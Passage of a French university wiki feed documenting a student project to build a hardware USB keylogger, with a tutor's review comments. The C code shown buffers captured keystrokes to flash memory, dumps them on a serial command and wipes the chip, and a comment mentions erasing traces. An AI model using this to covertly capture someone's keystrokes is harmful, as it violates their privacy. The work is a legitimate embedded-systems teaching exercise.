	/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
	uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
	if (*page_buffer_size != 0)&lt;br /&gt;
		AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	memcpy(&amp;amp;(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);&lt;br /&gt;
&lt;br /&gt;
	/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
	AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
	AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
	/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
	while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
		LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
	}&lt;br /&gt;
	LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
	memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
	*page_buffer_size += FLASH_BUFFER_SIZE;&lt;br /&gt;
	*flash_buffer_i = 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* Writing the Modifier and Keycodes in the flash_buffer */&lt;br /&gt;
for (int i = 0; i &amp;lt; CODES_PACKET_SIZE; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Le test &amp;lt;code&amp;gt;(*flash_buffer_i == FLASH_BUFFER_SIZE)&amp;lt;/code&amp;gt; est joueur. Ca passe parce que tu as des paquets de 7 octets pour une taille de bloc de 63 octets. Mais si quelqu'un veut agrandir la taille du bloc ça peut faire mal. Mets une constante pour la taille des paquets (7) et définit la taille de bloc comme un multiple de la taille des paquets :&lt;br /&gt;
 #define CODES_PACKET_SIZE 7&lt;br /&gt;
 #define FLASH_BUFFER_SIZE (9*CODES_PACKET_SIZE)&lt;br /&gt;
&lt;br /&gt;
Benjamin : Pas de souci, j'en ai profité aussi pour modifier les autres variables concernant le parcours du buffer de la flash, comme la taille des valeurs à envoyer, la condition dans les boucles et la longueur à copier que l'on renseigne dans la fonction &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Parfait. Il te reste une condition à redresser &amp;lt;code&amp;gt;(*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1))&amp;lt;/code&amp;gt;. Cela n'arrivera jamais, le plus proche de &amp;lt;code&amp;gt;FLASH_PAGE_INDEX_MAX&amp;lt;/code&amp;gt; sera 4*63=252 après cela saute à 5*63=315. Il vaudrait mieux que tu testes &amp;lt;code&amp;gt;(*page_buffer_size+FLASH_BUFFER_SIZE&amp;gt;=FLASH_PAGE_INDEX_MAX)&amp;lt;/code&amp;gt; tu ne crois pas ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je comprends votre inquiétude. Dans les constantes, j'ai mis &amp;lt;code&amp;gt;FLASH_PAGE_INDEX_MAX&amp;lt;/code&amp;gt; à 251 en pensant initialement que j'allais m'en servir comme l'indice maximal que la page pourra atteindre, d'où le &amp;lt;code&amp;gt;+ 1&amp;lt;/code&amp;gt; qui nous permettra de vérifier l'indice &amp;lt;code&amp;gt;*page_buffer_size&amp;lt;/code&amp;gt; qui sera à 252 quand il aura été rempli 4 fois par &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt;. Je vais rajouter une condition avec une comparaison &amp;lt;code&amp;gt;&amp;gt;=&amp;lt;/code&amp;gt; au cas où les constantes serait mené à changer dans le futur.&lt;br /&gt;
&lt;br /&gt;
Concernant l'envoi des touches mémorisés qui se trouvent dans la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= 0;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
			memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
			*flash_buffer_i = 0;&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0xC7, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x94, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x80, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x9A, NULL, 0);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			int address, byte;&lt;br /&gt;
			uint8_t Data_to_Send[CODES_PACKET_SIZE];&lt;br /&gt;
			for (address = 0; address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (byte = 0;&lt;br /&gt;
                     byte &amp;lt; (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX+1);&lt;br /&gt;
                     byte += CODES_PACKET_SIZE)&lt;br /&gt;
				{&lt;br /&gt;
					memcpy(Data_to_Send, &amp;amp;(data[byte]), CODES_PACKET_SIZE);&lt;br /&gt;
&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(10);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
			for (byte = 0; byte &amp;lt; (*flash_buffer_i); byte += CODES_PACKET_SIZE)&lt;br /&gt;
			{&lt;br /&gt;
				memcpy(Data_to_Send, &amp;amp;(flash_buffer[byte]), CODES_PACKET_SIZE);&lt;br /&gt;
&lt;br /&gt;
				while (!Serial_IsSendReady());&lt;br /&gt;
				Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
				while (!Serial_IsSendComplete());&lt;br /&gt;
				_delay_ms(10);&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Code bien factorisé. Tu as récupéré les commandes pour le reset de la flash dans la documentation des AT45DB641E ? Le reset n'est pas vraiment nécessaire sauf à vouloir effacer ses traces.&lt;br /&gt;
&lt;br /&gt;
Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.&lt;br /&gt;
&lt;br /&gt;
Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.&lt;br /&gt;
&lt;br /&gt;
Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt; qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et &amp;lt;code&amp;gt;flash_buffer_i&amp;lt;/code&amp;gt; qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction &amp;lt;code&amp;gt;Serial_IsSendComplete&amp;lt;/code&amp;gt; afin de ne pas avoir un caractère qui saute à la réception.&lt;br /&gt;
&lt;br /&gt;
Concernant le programme de l'ATMega, pas grand chose n'a changé si ce n'est la façon de recevoir les octets de données des touches tapées :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;Modifier = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[1] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[2] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[3] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[4] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[5] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On attend à partir de la fonction &amp;lt;code&amp;gt;Serial_IsCharReceived&amp;lt;/code&amp;gt; qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction &amp;lt;code&amp;gt;Serial_ReceiveByte&amp;lt;/code&amp;gt;. Assez simple finalement ! = )&lt;br /&gt;
&lt;br /&gt;
ReX : D'après ton schéma des connexions de connecteurs je crains que l'AT90 soit en 3.3V et l'ATMega en 5V. Ca pourrait provoquer des problème avec la connexion UART. Tu peux rajouter sur le schéma la position des cavaliers pour que je sois sûr ?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe &amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références vidéo&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références image&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Image&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références code&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Keylogger_sch%C3%A9ma_connexion_uP.png&amp;diff=853</id>
		<title>Fichier:Keylogger schéma connexion uP.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Keylogger_sch%C3%A9ma_connexion_uP.png&amp;diff=853"/>
		<updated>2023-08-15T15:13:25Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Bnguyen1 a téléversé une nouvelle version de Fichier:Keylogger schéma connexion uP.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Schéma décrivant les connexions des broches entres microcontrôleurs&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=848</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=848"/>
		<updated>2023-08-15T08:20:41Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Modification du Keylogger */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&amp;lt;ref&amp;gt;Vidéo rapport semaine 1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref group=&amp;quot;Image&amp;quot;&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]&amp;lt;ref&amp;gt;[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
